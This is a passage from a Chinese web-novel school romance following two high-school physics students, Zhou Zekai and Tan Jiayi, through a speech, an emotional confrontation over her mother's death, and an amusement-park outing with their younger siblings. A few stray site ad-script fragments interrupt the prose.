大家可能觉得这个词有点抽象,甚至有点俗套,我们总是老生常谈,要不忘初心。但每当我们进入一个新阶段,到达一个新环境时,又往往容易迷失自己的初心。 比方说上了高中,目标可能由中考变成了高考,想考上一个好大学;身份从初中生转变成高中生,想着自己离成人世界又近了一步;老师可能不会再回收答案,大部分时候都会让同学们自己订正。在这个过程中,我们渴望走向更辽阔的天地,渴望褪去孩子的稚气,渴望摆脱社会的条条框框,去做点儿不一样的事情。 但我认为,我们其实没必要这么着急长大。十四岁到十五岁,我们不过只长了一岁;上高中,不过是换了个校园继续学习。我们没必要想太多,也不一定要急着改变什么,不妨好好想想自己未来想做什么,想想自己童年的梦想。 最初的起点不一定是原点,也又可能是将要抵达的终点。” 听完他这部分演讲,台下自发地响起一片掌声。 他没有具体说高中要做什么,但好像又猜透了所有人的心思,像一个过来人,娓娓劝告着大家多回头看看,不用着急改变。 台下的掌声稍有平息,周泽楷的目光越过人群,朝谭佳宜的方向望去,他继续说道:“第二个关键词就是启航。 我们找寻初心,但不意味停下脚步。新的开始不必考虑之前的过失、遗憾,我们有时需要懂得放下与释怀。 不管你中考成绩怎么样,不管你开学考成绩如何,我们都有逆风翻盘,或者是再续辉煌的可能。 我们还年轻,我们前途无量,我们充满希望。所以,何须纠结过往,只管大胆启航,未来未知,但一定会更好! 今天天气也挺热的,我就简单讲这么多,谢谢大家。” 话音刚落,台下又是一阵雷鸣般的掌声。“何须纠结过往”,这是独属少年人的洒脱,“未来一定更好”,这是独属少年人的自信。 但或许只有谭佳宜知道,他实际话里有话。 表面是鼓励所有新生的,但句句都直击她的心结,分明是想劝她放下过往的仇恨,忘记过去的悲伤。 但创伤一旦形成,哪能说忘就忘,这留下的疤似乎每分每秒都在提醒她,当初这些人是怎么背叛她,怎么伤害她的…… 周泽楷可以说是一战成名,一下子成了学校和陈淮北齐名的风云人物。 两个大佬,一个看似高冷,实际口才一流;一个平日低调,实则实力不凡。 中考成绩全市前50本来是不公开的,但开学典礼后,十一班周泽楷是中考状元的消息,不知道怎么就传开了。 班上也有人拿他开学考说事儿的,说中考状元也不过如此,物理还没及格呢。但支持周泽楷的人也不少,大多给出解释:可能只是一次失误,而且除了物理,其它学科也算是顶尖了。 站的越高,就免不了有争议声。凡事物极必反,周泽楷在学校出名了,但因此产生了不少风言风语,甚至有人去扒他小学的黑料,造谣他以前不仅性格不好,而且成绩也一般。 周泽楷倒也不在乎这些流言蜚语,还是一副云淡风轻的模样。 他也不是有意揣测谭佳宜的心思,但她先是让自己开学考发挥失误,再是想让自己在开学典礼上出丑,如此双重buff叠加,反正这段时间,他的名声在学校肯定会很糟糕。 原来这是个连环计啊,高明,真是高明。只不过这中间出了点偏差,让结果也没完全按着她想的进行。 周泽楷转身盯着身旁专注写题的谭佳宜,少女似乎察觉到了他久久未移开的目光,终于放下笔来,扭头问他:“你有什么事儿吗?” 这还是第一次她主动开口呢,周泽楷觉得稀奇,也逗她说:“没事儿。只是你怎么这么沉不住气,你看,这一步你继续算下去就出来了,何必又换一种更复杂的方法。”他指了指她面前的演算纸。 “你脑子转的挺快,但看问题还是太浅显了,这一步看似简单,但继续算下去要用到超纲的公式,考试是可能扣分的,换一种方法过程虽麻烦点,但计算简单,花费的时间更短。 所以,有些事不是看上去怎么样就是怎么样的,不是你想简单就可以简单的,更不是想放下就放得下的。” 周泽楷只是单纯讨论题目,她竟然也能绕到这些问题上来。看来她活得累是有原因的,心思确实不是一般的复杂。 不过他突然又有点心疼她,明明可以更纯粹的年龄,却被迫长大,承受着这个年龄不该承受的东西。 “所以你是什么时候把演讲稿换掉的?” “这重要吗?你不是发挥得更好了嘛。” “单纯好奇。” “你看起来挺细心的人,怎么对我一点儿防备都没有。” 谭佳宜扭头盯着他,眼神深邃而平静,却闪着危险的光芒。 “听过渔夫与蛇的故事吗,这可是件很危险的事儿。” 周泽楷突然想起了,那天谭佳宜早上竟然破天荒地让他帮忙送作业,说肚子疼要去趟厕所,之后回来时,她已经在位子上了。 难道是那个时候她换掉的? “但如果那条蛇不是毒蛇呢,渔夫不会死,蛇也不会死。” 周泽楷没回避视线,和谭佳宜对视着回答,一双眸子清亮,如桃花谭般盛满了深情。 每次这种情况,谭佳宜都不敢和他继续对视,不知道为什么,心跳莫名又加快了几分,她立刻别过头:“没那种可能。” 好吧。 不过就算是条毒蛇,他也愿意试一试。因为他不愿意看到那条可怜的蛇,就这么在冰天雪地中自生自灭…… 8. 失控&升温 开学典礼过后,学校把竞赛招新的事情也提上议程,在全校范围内举行预选赛,所有同学都可以自愿报名。 不过即使是这样,参加考试的人也并不多,大部分人都对竞赛望而却步,一方面是觉得自己没那个天赋,另一方面也觉得费时费力。 毕竟比起高考,竞赛风险要大得多。 和重理轻文的情况类似,五中竞赛的天平也严重朝数学物理倾斜,基本每年都有人能拿金牌,甚至还有人能直接保送北清大学。但化学生物那边就没这么景气了,好多年都没什么出色的实绩。 周泽楷和谭佳宜都报名了物理竞赛,这次预选赛谭佳宜倒是没再为难周泽楷,两人分别以预赛第一和第二的成绩,顺利通过了的校内初选。 第一是谭佳宜,第二是周泽楷,两人丢分的板块大相径庭,但分数却咬的很紧。 士别三日即当刮目相待,何况周泽楷和谭佳宜分别了三年,她现在物理水平确实让周泽楷都不得不佩服。 “厉害啊,以后还请谭老师多多指教。”周泽楷冲谭佳宜竖了个大拇指。 谭佳宜没理会他的吹捧,有些嫌弃地看了一眼周泽楷之前买的物理竞赛书,“这本书我初二时就看过了。” 周泽楷往谭佳宜身边凑了凑,想看看她现在看得有多深奥。 她这本竞赛书他之前也略有耳闻,是一本很经典的物理题解。只不过有些已经涉及到大学物理的范畴,所以尽管竞赛教练常常推荐,高中竞赛生也看得不多。 厚厚的一本,谭佳宜看了一半,但看过的部分都被她做了密密麻麻的笔记,上面甚至还有些演算过程。 可以想象,她平时啃这块砖的时候,一定花了不少心思。 周泽楷自认为自己在物理方面已经扩展了不少,但没想到谭佳宜学的比自己还要深。 这难道就是开学前已经把高一上自学完的实力吗? 周泽楷实在难以想象,她在私下付出过多少努力,熬过多少个大夜。 物理竞赛的培训时间是每周二和周六的下午,周六五中会放半天假,所以竞赛实际上是占用了他们一部分休息时间。 这个周泽楷倒是无所谓,正好有了周末不回家的借口,他是断然不想见到他那个烦人精妹妹的。学自己热爱的物理是件好事,不用回家受气是件好事,能和谭佳宜多接触接触也是件好事,可以说是一箭三雕。 不过第一个周六的物竞培训,周泽楷却迟迟不见谭佳宜的身影。 这可才刚开始,她应该不会无故旷课吧。周泽楷想了想,还是有些不放心,干脆也请了假。 他不确定她去了哪儿,但冥冥之中有种预感,她是去了那条小巷。 果然,空旷的小巷没有其他人,下午的和风卷起街角的垃圾袋,不知道是被风吹来的,还是哪个没素质的人随手扔的。远处的少女就这么静静的蹲在巷子口,安静地低头看着小猫舔舐牛奶。她披散着蓝色假发,换回了自己的私服,但嘴角竟带着一抹许久未见的笑,笑得那样柔和,笑得那样明媚,和她这身打扮格格不入,与平日高冷的模样也截然不同,让周泽楷一下子想起了那个久远的她…… 如此和谐的画面,让周泽楷有些不忍心打破,一直等到她喂完猫,他才走了过去。 地上躺着两个空牛奶瓶子,这段时间,周泽楷每天还是照常给谭佳宜带牛奶,只不过从一瓶增加到了两瓶。 他想着小猫一瓶,谭佳宜一瓶,这下她总会喝了吧。 只是没想到,她还是没喝。 周泽楷以为坐了一段时间的同桌,谭佳宜应该开始接受他的好意了,但就如同这两瓶牛奶,他致始致终都没能融入她的世界。 他有些失落也有些不解,没想到这些猫的地位都比他高,至少她会把牛奶给它们喝,还会对它们笑。 周泽楷悄然出现在她身后:“今天下午的竞赛培训你怎么没去?” 谭佳宜是真的没察觉到他跟来了,这会儿身后突然冒出一个人,也下了一跳。 “有点事情要处理,就没来得及去。” “就是来喂猫?”周泽楷知道她肯定不是单纯来喂猫的,但也没有刨根问底,反正现在问了她大概率是不会说的。 对方没有作声,两人再次陷入了沉默。 “牛奶你怎么不喝?小猫喝这么多牛奶也不一定能吸收。”他想找点话题,还是忍不住把心中的疑惑问了出来。 “那你以后别送了。”她回答得干脆利落。 “我记得你之前可喜欢喝这个牛奶了。” 谭佳宜突然起身,背对着他冷冷道:“那是以前,现在不喜欢了。” 以前,是三年前,或者说是更久之前,是回不去的过去时。 而现在,是此刻当下,是物是人非的进行时。 所以,这三年你是怎么过的?究竟是什么让你发生这么大的变化?周泽楷在心里默默想着。 谭佳宜往前走了两步,接着自顾自地说道:“其实我小时候最开始是不怎么喜欢喝牛奶的,那时候我还在上幼儿园,发育晚,比同龄人都矮,妈妈怕我长不高,就每天督促我喝。喝多了也就成为一个习惯了,所以到了小学我也没停止喝牛奶。可能我现在长这么高,和坚持喝牛奶也有不少关系。 我不想再沉浸在以前的回忆中,那只会让我更加煎熬。但每次看见与她相关的东西,都会忍不住想起她。” “对不起,我也没想到会是这样。”周泽楷看不到她说话时的表情,却能听出其中细微的伤感。 他没想到她会主动提她妈妈的事儿,也很抱歉触动到了她不想回忆的过去。刚想上去安慰一下她,没想到对方突然转身,死死地盯着他。 “所以你知道我的痛苦都是拜谁所赐吗? 是你,是你害死了我妈妈,是你毁了我的家。”她刚才克制的情绪一下子爆发出来,扯着他的衣服,嚎啕大哭道:“你为什么不让我把这个美梦一直做下去! 你知道吗,你就算不是元凶,也是这件事的导火索。都不是无辜的,没有一个好人!” 周泽楷第一次看见她如此歇斯底里,这倒是和上一世有所不同。不过也好,说出来总比闷在心里要强。他知道她需要一个发泄口,那么就让他来做她的港湾吧。 他一把抱住她,想要控制住她的情绪。她推他,踢他,他还是不放手。 最后她哭累了,闹够了,没了力气,也不想再挣扎了,只是埋在他肩头静默地流泪。 “阿姨的事情我很抱歉,但事情不完全是你想的那样,你什么时候愿意相信我了,可以冷静地对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 待这件事了,我就都告诉你。” 谭佳宜只觉他的话无理,他能知道什么隐情呢?不过都是借口罢了,她只相信她看到的真相。 她平复好情绪,趁他没防备时,使劲推了一把,立刻从他的怀里抽身而去。 “我不想听你的这些借口,反正你是欠我的,你就慢慢赎罪吧。” 谭佳宜放着狠话,但在周泽楷听来,却没什么攻击性。不知道是她哭累了还是怎样,声音不似往日那般冰冷,倒像是个耍无赖的小孩儿,用霸道的口吻,述说着自己强硬的要求。 “好,我是有罪,我会慢慢弥补。但我相信总有一天,你能开始相信我说的话,也能开始正视自己的内心,拥抱这个世界。” 周泽楷看她脸上还有不少泪痕,伸手想帮她擦一下,刚要触到她时,对方竟握住了他的手腕。 隔着臂膀交叠的空隙,二人视线交汇。 晚霞席卷苍穹,暮色开始降临,黄昏的巷子口,爱恨交织,撕扯着暧昧的气氛。 谭佳宜本想挡住自己的脸,没想到下意识握住了他的手腕。不知是他的脉搏还是自己的心跳,正强有力地搏动着,一下一下,拨乱了她的思绪。 终于反应过来,谭佳宜松开了他的手。又把头别过去:“少说些冠冕堂皇的话了。” 刚刚的一瞬,周泽楷其实都还没反应过来,他只觉自己的心在突突地跳。回过神来时,谭佳宜已经放开了他的手。 他估计她现在不愿自己再靠近,只好从兜里掏出一包纸,从里面抽了一张递给她。 “那你自己擦擦吧。” 谭佳宜接过纸巾,擦拭完自己狼狈的模样,除了双眼还有些泛红,仿佛刚才无事发生。 周泽楷好像突然想起什么似的,望向巷子尽头的网吧:“我们刚才的音量,网吧里应该是能听到的吧。” “今天网吧关门了,没人。” 听到关门了,周泽楷竟有些担心七哥,毕竟上一世他可是进了监狱。 “是七哥出了什么事吗?” “你这么希望七哥出事啊?”谭佳宜反问道。 “不是,就是单纯关心一下。一般网吧不是都没有休息日嘛。” “七哥有事,最近几天都不在汉城,网吧也就只能歇业几天了。之前没看出来,你现在倒是喜欢多管闲事了。” 周泽楷笑着说道:“倒也不是什么都管,毕竟人的精力是有限的,但和你有关的,我肯定不会不管。” 又来,他现在脸皮倒是真厚,这种话简直张口就来。 谭佳宜懒得理他,转身拔腿就走。周泽楷从后面赶忙跟上。 “回家吗? “不然去哪儿。” “那一起啊,要不一起去吃晚饭,楼下新开了一家煲仔饭挺好吃的,有你爱吃的宫保鸡丁。”他在她身后絮絮地说。 “我不饿。” “那也得吃晚饭,不吃对身体不好。你刚刚可是说我要赎罪,那监督你好好吃饭,为你的健康保驾护航,也算是我的责任吧,你说呢?” 之前就看出来了,现在周泽楷可是越发啰嗦。 怎么话这么多啊! 谭佳宜又加快步伐,却怎么也甩不掉身后的少年,仿佛他就是她的小尾巴,打算一直这么缠着她…… 9. 黄鼠狼给鸡拜年 眨眼间,时间从初秋九月过渡到金秋十月,五中也迎来了第一个假期——十一小长假。 不过作为重点中学,五中向来有克扣假期的习惯,总是会比日历上规定的休息日少那么两三天。加上物竞培训临时通知要补课,所以对于周泽楷和谭佳宜来说,假期更是严重缩水,只有短短的两天半。 黑板已经被各科作业占据,留下密密麻麻的任务清单。不过尽管如此,放假的欢愉还是压过了作业的繁重。 教室里叽叽喳喳的,大家边收拾着书包,边和身边同学计划着假期要去哪儿玩。 谭佳宜也不急着收拾,还是继续在位子上做题。周泽楷的视线落在门口,走廊上依然是人头攒动。 五中有不少住校生,大大小小的行李全堆在走廊边。他想着现在人确实多,出去也是拥挤,就也没急着走,跟她一起在位子上做题。 两人不约而同地享受着混乱中的宁静,仿佛是嘈杂世界中的一股清流,安安静静,自成一派。 人终于走得差不多了,走廊也瞬间宽敞了不少。时间不多不少,刚好写完了两道数学大题。周泽楷放下笔,看旁边的谭佳宜还在写英语完型,题目已经写了一半。 最后一个选项落笔,谭佳宜似乎也没有再写下去的打算,开始收拾东西。 周泽楷问她:“假期你回家吗?” 他发觉有歧义,又立刻补充道:“我的意思是,你要回你另一个家吗?” 谭佳宜手上的动作没停,也没看他,冷淡地答道:“回,但不是家。” 她轻描淡写地回答,但周泽楷能感受到她冰冷语气中的落寞:“我应该也要回去一趟,这样我们就不顺路了。但你要是找我的话,我随时都能到。” 他想了想,又补充道:“平时总是能见着,也忘记留个联系方式了。这是我的电话和□□号,你之前把我删了,要不还是加回去吧。”周泽楷递给她一张小纸条,上面留着他的联系方式。 谭佳宜本想着拒绝的,但突然想到些什么,还是把纸条收起来了。 他俩都没人来接,打算做公交回去。只是做公交的理由不尽相同,一个是被遗忘的孩子,父母忙着工作,忙着照看妹妹,估计都快忘了还有他这个儿子。 一个则是不愿和她那假惺惺的后妈待在一块儿,谭佳宜看见程婉乔就恶心。 公交站台边,两人站着一起等车,周泽楷不知道从哪里变出个小公仔,拿出来塞到谭佳宜手中。 公仔面无表情,长得挺丑的,但有种丑萌丑萌的喜感,谭佳宜嘴角不自觉地扬了扬。 “你笑了。” “我没有,这个丑死了,我才不要。” 谭佳宜否认得斩钉截铁,把公仔又塞到他手中,立马切换为面无表情的冰块脸,假装刚刚什么也没发生。 “你别不承认,我可是看见了。其实,刚刚你笑的样子挺好看了,但现在吧,和这公仔倒是挺像的。” 他把公仔在她脸旁比划了一下,认真打量着她俩。 “哼,我看它倒是和你挺像,一样的丑。”谭佳宜对他翻了个白眼。 周泽楷也没恼,反而一脸兴奋:“哦,你也这么觉得啊,我觉得这个公仔和我俩都有几分相似,你帮我好好照看它啊。”他边说边把公仔又塞回了谭佳宜手中,接着,拔腿上了旁边刚到站的公交车。 谭佳宜还没反应过来,只见他已经坐上了车,从车窗边对她大声喊道:“回家后也别害怕,它就代表着我,会一直陪着你!” 公交车车门缓缓关闭,渐渐驶向远方,少年的身影模糊,但声音却在耳畔回荡。 谭佳宜握紧手中的公仔,好像握住了救命稻草。她知道没人能救她,但心里却有了期待。 只是她还不确定,是有所期,还是只是幻影。 周泽楷一进门,就听见房间里传来周心雨哭闹的声音。这会儿周志刚应该还没回来,家里估计只有母亲和妹妹。 他本想直接回房间的,但声音实在太大,半掩着的房门根本挡不住。只听见周心雨不悦的声音:“我不是说要粉色嘛,怎么还是蓝色的啊。” 江一宁轻声细语地解释:“粉色的没货了,而且这个裙子是限量款。 要不先试一试,我女儿这么漂亮,穿什么颜色不好看?”她将周心雨的头发往后顺了顺,好声好气地劝慰。 “不是早就和你说过要早点定嘛。不要不要,我就是要粉色。”周心雨还是不依不饶,继续朝江一宁发脾气。 果然母亲的耐心都给了妹妹,不论她再怎么无理取闹,她都不会生气。 江一宁继续哄着女儿,听见门口的脚步声,推开门往外瞥了一眼,终于注意到回来的周泽楷。 “回来了也不打声招呼,是当家里没人了。”她一改刚才的温柔语气,一副高高在上的样子。 你们这阵仗,我就是想掩耳盗铃也没法儿啊。周泽楷无奈地在心里叹了口气,他倒是也习惯了被忽视,被挖苦。 “要没什么事儿的话,我就先回房间了。” 周泽楷觉得和她们浪费时间,还不如早点抽身而退。 “果然还是这副死样子,从小就不亲人,连自己的母亲和妹妹也不关心一下。”江一宁抱怨了一句,又继续开导女儿试衣服。 “砰”的一声,周泽楷关上房门。 总算是消停了,他把书包从肩上卸下来,倚在房门边。 明明这种话都听了上遍了,为什么每次还是会往心里去,到底在介意什么,她们不就是这样的吗? 下午的时候,放在桌子上的手机突然亮了,周泽楷拿起来,发现竟是□□有新的联系人请求加为好友。 ——谭佳宜! 上午才见过面,怎么这么快就想着联系他了。 周泽楷虽然心里是高兴的,但还是有种不祥的预感,以她的个性,没事的话应该不会主动联系自己,不会是出什么事了吧。 他怀着兴奋和忐忑,通过了谭佳宜的好友申请。 不过对方却没了动静…… 他首先发了个打招呼的表情包,接着又发了一串问号。 过了好半天,还是没有收到对方的任何消息。 有什么是比开了个头,又一直不回消息吊着对方更让人煎熬的呢? 周泽楷有些按耐不住,又发了句:在干嘛? 五分钟、十分钟、半个小时…… 消息再次石沉大海。 他实在无聊,想着要不看看她的动态。打开之后却显示:申请访问她的空间,对方同意后即可查看。 反正在她这受挫不是一次两次了,周泽楷已经练就了一颗强大的心脏。他在心里安慰自己,她没准儿是是一视同仁,把所有人都屏蔽了。 对话栏还是只有周泽楷孤单的三条消息,他甚至猜想谭佳宜是不是点错了,正要放下手机时,终于弹出来一条消息。 “明天有空吗?” 周泽楷狂喜,立马输入:“你在约我?” “能把你妹带出来吗?” 原来话说了一半,周泽楷有些摸不着头脑:“你是约我还是约我妹?” “约你妹,但得有监护人。” “所以是三人行?” “四人,还有我弟” 他还不死心,补充道:“约我的话我还可以考虑一下,约我妹的话估计难。” “那算了,当我没说。” 对方回复得干净利落,丝毫没有一点挽留之意。 虽然不是只有他和谭佳宜两个人,但是这种和谭佳宜相处的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 机会也不能错过,他连忙找补,又恢复了那副不要钱的样子。 “也不是不可以,我尽量说服我妹吧。”他想起自己和周心雨焦灼的关系,顿时有些头大。 “好,如果可以明天上午九点游乐园门口见。” 果然,无事不登三宝殿。所以谭佳宜到底想整哪出,为什么非要他妹去,也没看出周心雨有什么魅力啊?还一身大小姐脾气…… 嗯?周泽楷猛然想到些什么。 脾气臭是周心雨的特点,她该不会想借刀杀人,整一整他那个继弟吧。 也不是没这个可能。 他立刻又输入:“我跟你说,你可别乱来。他们毕竟是未成年人。” “怎么,舍不得你妹妹?” “我才不管她呢,最好有人能治治她。” “那就行,你按照我说的做,我自有办法。” 谭佳宜就像一朵野蔷薇,浑身长满了刺,危险又迷人。亏她能想出这招,果然老谋深算。 晚饭桌上,周泽楷一家四口坐在餐桌前,他暗中观察着其他三人,发现气氛有点微妙。 周心雨还是一脸不爽,旁边的江一宁估计怕又刺激到她,也没怎么说话,只是偶尔给她夹菜。周志刚本来话就不多,大多数时候都是听她们母女俩说,这会儿看她们也不做声,自然也没话说。 “小雨,你之前不是说想去游乐园嘛,要不明天哥哥带你去?” 周泽楷难得主动挑起话头。周父周母都一脸惊讶地看着他。 “就和你吗?你那么无趣,我才不要单独和你待在一起。” 周心雨一脸嫌弃地看着这个哥哥。虽然在学校周泽楷是万众瞩目的学霸校草,但他还是无法改变自己在家处于食物链底层的事实。 “当然不是,还有一个漂亮姐姐和我们一块儿,她还会带个弟弟来,估计和你差不多大,刚好能玩儿到一块。” 作为资深颜狗,周心雨一听有漂亮姐姐,两眼立马放光,兴奋地说:“真的吗?好啊好啊,我倒要看看有多漂亮,是不是比我还好看。” 江一宁看女儿注意力从刚才的裙子事件中转移出去,也是件好事,倒是得亏了周泽楷。不过她还是有些不放心:“你不是不喜欢陪妹妹玩儿吗?小时候叫你陪还不愿意呢,怎么现在想起来了?” 周泽楷反应得很快,立马表现出一副懂事的模样:“小时候不懂事,现在不是想弥补一下嘛。” 如此知错就改、乖巧懂事模样,倒是打动了周志刚。 “也好,既然小楷愿意,那就让他去吧,正好增进一下兄妹间的感情。只是你刚才说的那个女同学是谁啊?”周志刚问道。 “嗯……就是之前一个初中同学,现在又在一个高中,她弟弟想去,正好缺个伴儿,估计是想着我有个妹妹,就找我帮忙了。” 周泽楷当然是不能把谭佳宜供出来的,因为之前两家的不愉快,如果说是她,那周志刚肯定就不同意了。 “行吧,我们也不搞封建的那一套,你们现在无论男生女生都可以正常交往。何况你现在也上高中了,要是有喜欢的女生也正常,我不拦着,注意分寸就行,别做什么出格的事儿。” 别看周志刚一把年纪了,但倒是很开明,估计和他从小在国外留学有关。 “爸你放心,我心里有数,肯定先以学业为重。”他确实心里有在乎的女生,倒是也没否认,而是给了个模棱两可的答案。 江一宁看丈夫和女儿都没反对,自然也不好说什么,只好也答应下来,又嘱咐了周泽楷几句,要他一定照顾好妹妹。 但是吧,出了这门儿,周心雨可不是在哪儿都是小公主。 何况这也不是他能决定的。 所以,明天就看她自己的造化了…… 10. 游乐园 第二天周泽楷一大早上就起来了,但没想到周心雨比他起得还早。 在他的印象里,周心雨可是个赖床大王,周末每次起床都快到午饭的点儿了。 今天太阳倒是打西边出来了,只见周心雨一大早上就起床打扮,看来这个小公主对出门的事还是挺上心的。 她把衣柜的衣服翻来覆去地看,满满当当铺满了整张床,不知道的还以为她要出远门呢。 周泽楷本来以为时间还早,就想着等等她也无妨,但时间一分一秒地过去,眼看就要到约定的时间了,却还是不见周心雨收拾好。 他倚在门口,无奈地催了一声:“快点儿吧,是去游乐场不是去卖衣服,要不要我给你支个摊儿啊。” 周心雨才不管他等了多久,冲周泽楷翻了个白眼:“催什么催,谁像你啊,天天就那一套衣服。” 啊?周泽楷心里打出一串惊叹号。 他哪里只有一套衣服了,明明自己经常换好吗!周心雨怕是眼睛不好使! 周泽楷懒得和她计较,现在只希望这个大小姐别磨蹭了,又好声好气地劝道:“好好好,是你衣服多。穿什么不是最重要的,关键是看谁穿,我觉得这里每一套你穿都好看。 时间不早了,让人家久等也不合适,所以,咱要不快点?”周泽楷硬着头皮哄周心雨,察觉到她好像有一丝动容,又补充道:“我们可不能给漂亮姐姐留下不好的印象,不然人家之后可能就不和我们玩儿了?” 在劝周心雨的过程中,周泽楷突然觉得江一宁还挺不容易的,每天都要伺候这么一位大小姐,他光是刚才劝的那几句,感觉就已经使出洪荒之力了。 好在功夫不负有心人,周心雨终于答应下来,终于换好了衣服。 浅紫色的小裙子,下面镶着花边。 周泽楷看她穿得花枝招展的,顿时有些无语,后悔刚才怎么不提醒她穿个裤子。是去游乐园,有些项目穿裙子还挺不方便的。 但是他知道这么一说,她肯定又要闹一番,况且也没时间再等她在慢慢挑了。 算了,小姑娘嘛,爱美。 理解,理解,周泽楷在心里说服自己。 可算到了游乐园大门口,谭佳宜和他弟弟果然已经到了。她今天穿了一身简单的休闲装,白T配牛仔裤,扎着高马尾,倒是显得很清爽。 “不好意思啊,我们来晚了。”周泽楷说道。 谭佳宜只是淡淡地回了一声“没事”,便把目光转移到他旁边的小女孩儿身上:“小妹妹你好,你是周心雨吧,可真漂亮。”她亲昵地捏了一下周心雨的脸颊。 周泽楷心里想:完了,谭佳宜你什么时候这么自来熟了,上手干嘛,这小家伙平时可是谁都不让碰的。 正当周泽楷担心着周心雨下一秒就要爆发的时候,她却出乎意料地笑了,带着些小女孩被夸的害羞,以及看到偶像后的兴奋。 “姐姐,你也太漂亮了吧,哥哥说的超级漂亮果然没错,你是我见过的最好看的人。不过我怎么觉得有姐姐点眼熟,我们之前是不是见过啊?” 谭佳宜瞥了一眼周泽楷,见他立马扭头回避,又大大方方地笑着回答:“应该没有吧,不过我第一次见你也觉得亲切,一看见你就喜欢。” 周心雨听着这话心里美滋滋的,其实她小时候是见过谭佳宜几面的,只是当时她年纪小,加上最近几年谭佳宜长高了,身形有点变化,自然也分辨不出来了。 她转身拽了拽周泽楷,小声嘀咕道:“哥哥,这么漂亮的姐姐是怎么愿意和你做朋友的啊?你长得又不怎么样。” 这小家伙果然不仅看衣服眼神不好使,看人也一样。 好吧,除了谭佳宜,毕竟他也觉得好看。 “你骂自己干嘛,咱们长得倒是有几分像,要丑也是一起丑。” “谁跟你像啊,我跟你长得才不一样。”周心雨嘴硬道。 算了,这小家伙戴有色眼镜看人,跟她说了也是白搭。 和周心雨打过招呼后,旁边一直安安静静差点儿被遗忘的人,终于被想了起来。 谭佳宜把身边的小男孩儿往前推了推,向他们介绍:“这是我弟弟,谭佳航,今年快九岁了,上四年级。” “我也上四年级呢。”周心雨也不用周泽楷介绍,自己抢答道。 “你是几月份的?”谭佳宜问道。 “六月。” “哦,他是十二月的,那还比你小呢。来,佳航,和这个小姐姐打声招呼。”她很温柔地鼓励着旁边的小男孩儿。 男孩儿长得挺可爱的,浓密的睫毛下是大大的眼睛,好像有点儿腼腆,像个小女孩。他低着头,犹豫着伸出了手,小声说了一句:“你好,很高兴认识你。” 周心雨倒是很大方地和他握手,她比他还稍微高一点儿,便低下头来,想看看他的表情。 谭佳航察觉到她在看她,不好意思地抬头瞟了一眼,恰好对上了她笑成月牙的眼睛,弯弯的,很可爱。他立刻又低下了头。 “哈哈哈,你脸红了,像桃子,不对,是猴屁股。”周心雨笑得上气不接下气,丝毫不顾及其他人的感受。 “怎么说话的,人家没准儿是被晒的。你看,都怪你磨蹭,害得人家在这儿晒了老半天。”周泽楷训斥着肆无忌惮的妹妹。 “姐姐,哥哥凶我,我好害怕啊。” 她装出一副哭腔,好像受了不得了的委屈,下一秒就要嚎啕大哭起来。 谭佳宜拍了拍她,安慰道:“没事了,其实我们没等多久啦。姐姐知道你是开玩笑,小朋友又能有什么坏心思呢?” 谭佳宜的话果然有效,周心雨听后立马止住了哭声,又露出一副胜利者的姿态,瞪了一眼周泽楷。 呵呵,周泽楷在心里道:那你是低估她了,不过也不能低估你,短短几句话倒是把这个二世祖给收买了。 接着,四人买票进了游乐园。按照游乐园的规则,买了门票后,所有的项目都可以任意选择。 周心雨进了游乐园后像个兴奋的小鹿,到处乱撞。周泽楷有时真的捉摸不透她的节奏,有时候大家要往前走,她又被身后的什么吸引住了,有时大家要停下来看什么,她一溜烟人又跑到了别处。 他觉得陪她一起玩儿真是折磨,自然,周心雨也是对周泽楷也是百般不满意。 路上遇到一个穿着玩偶服的工作人员,周心雨想和他合照,原本叫周泽楷拍,拍了几张却怎么都不满意。 肯定是他个子太高,找的角度不对。 周泽楷觉得她其实就是在无理取闹,建议她下来,换谭佳航来拍几张。谁知道大小姐不知抽了那根筋,突发奇想让谭佳航来帮她拍照。 她指挥着谭佳航的拍摄位置,安排着拍摄角度,让这个可怜的弟弟彻底成了她的御用摄影师。 小小的谭佳航举着不熟悉的相机,动作显得笨拙,稍微慢了点,还会被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 周心雨吐槽。这种时候,他往往会急的满头大汗,但还是毫无怨言。 谭佳宜站在远处等着他们拍照,周泽楷几次想去帮忙,都被她制止下来了。 “他不会用,我去教教他。” “不用,他挺聪明的,自己用几次就会了。”谭佳宜继续冷眼旁观。 她看他们拍完照了,去旁边买了两杯饮料,递给他们,又是一脸笑容,关心道:“渴了吧,喝口果汁。” 模特和摄影师确实都累了,很高兴地接过饮料,畅快地喝着。 看俩小孩喝得尽兴,谭佳宜继续说道:“小雨、佳航。哥哥和姐姐呢这会儿突然有点事儿,你们要不先自己去玩儿,有什么事咱们电话联系好吗?” “行吧,我其实也不想和我哥出来,我跟他不合拍,玩儿不到一块儿。只是可惜了,今天都没和姐姐待多久。”周心雨凑到谭佳宜耳边小声说道。 “下次还有机会呢。”她又捏了捏周心雨的小脸。 谭佳航虽然也有点舍不得姐姐走,但还是懂事地点了点头。 “那好,你们要互相照顾,不许分头行动,佳航是男生,小雨是姐姐,都要保护好对方哦。”她又叮嘱了他们几句,就拉着周泽楷转身离开。 没走几步,周泽楷终于忍不住说道:“这就是你的计划?你怎么不提前和我说一声。今天游乐园人本来就多,要是有什么事怎么办?” 谭佳宜想到她妹妹说的话,又看向他:“你就是太善良了,不,是太傻了。你那个妹妹又跋扈,又会演戏,还背刺你,她丢了不是更好吗?” 说的也不错,但也犯不着这么设计自己的妹妹,要是这样,他岂不是也很可恶。 “周心雨是被宠坏了,但不会妨碍我什么,没有她,我在家的地位也不会改变。虽然那个不是你亲弟弟,但我看他挺乖的啊,你也狠心?”周泽楷反问。 “是,他流着的一半血液让我厌恶,一半血液让我恶心,所以看着他遭罪,我就开心。” 少女嘴硬,但周泽楷分明注意到,虽然刚才谭佳宜拦着不让他去,但她的眉头却是皱着的,时时刻刻都盯着谭佳航看。 “你摸着良心说,你那是真的开心吗?他的痛苦或许会加深,但你的痛苦却没法儿减轻。” “够了。”她打断他。“你别总自以为是的揣测别人的心思。还有,你也是真蠢,我说不管了吗,当然是要跟着,要不然怎么能看见他是怎么被欺负的。” 原来如此,就说嘛,她还是有点儿人情味儿的,也不会做这么傻的事儿,毕竟是他们带出来的,出了事也该他们负责。 